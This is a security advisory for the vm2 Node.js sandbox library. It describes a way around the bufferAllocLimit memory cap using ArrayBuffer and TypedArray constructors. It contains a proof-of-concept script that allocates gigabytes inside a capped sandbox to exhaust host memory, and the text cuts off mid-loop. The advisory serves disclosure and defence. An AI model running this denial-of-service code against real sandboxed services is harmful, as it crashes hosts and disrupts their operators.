GHSA-v836-6xw4-9cx3: vm2 has Memory Exhaustion DoS via bufferAllocLimit Bypass

Summary: The bufferAllocLimit defense (GHSA-6785-pvv7-mvg7) can be completely bypassed using ArrayBuffer, SharedArrayBuffer, or any TypedArray constructor. These allocate identical host-process RSS through the same V8/libuv C++ allocation path as Buffer.alloc but are not subject to the size cap. Details: The bufferAllocLimit option (vm2 v3.11.0+) caps Buffer.alloc, Buffer.allocUnsafe, Buffer.allocUnsafeSlow, and the deprecated Buffer(N) / new Buffer(N) forms. The cap is enforced in setup-sandbox.js via checkBufferAllocLimit() (line 353-359). However, ArrayBuffer, SharedArrayBuffer, Uint8Array, Float64Array, and all other TypedArray constructors are sandbox-realm V8 intrinsics that allocate host memory through the SAME underlying C++ path (v8::ArrayBuffer::NewBackingStore → ArrayBufferAllocator::Allocate → calloc/malloc). These constructors are NOT intercepted by the bufferAllocLimit defense. A single new ArrayBuffer(N) call with a large N exhausts host RSS in one synchronous allocation that V8's timeout cannot interrupt. Environment: - vm2 version: 3.11.3 - Node.js: v25.8.1 (affects all Node.js versions) - Configuration: Default new VM() or any configuration including bufferAllocLimit POC: const { VM } = require('vm2'); // Operator sets bufferAllocLimit thinking they're protected: const vm = new VM({ bufferAllocLimit: 10 * 1024 * 1024 }); // 10MB cap // Buffer.alloc IS capped (as intended): try { vm.run('Buffer.alloc(20 * 1024 * 1024)'); } catch(e) { console.log('Buffer.alloc blocked:', e.message); } // → "Buffer allocation size 20971520 exceeds bufferAllocLimit 10485760" // But these BYPASS the cap entirely: vm.run('new ArrayBuffer(1024 * 1024 * 1024)'); // 1GB allocated! vm.run('new SharedArrayBuffer(1024 * 1024 * 1024)'); // 1GB allocated! vm.run('new Uint8Array(1024 * 1024 * 1024)'); // 1GB allocated! vm.run('new Float64Array(128 * 1024 * 1024)'); // 1GB allocated! // OOM kill in constrained environments (Docker, K8s, Lambda): vm.run('var a=[]; for(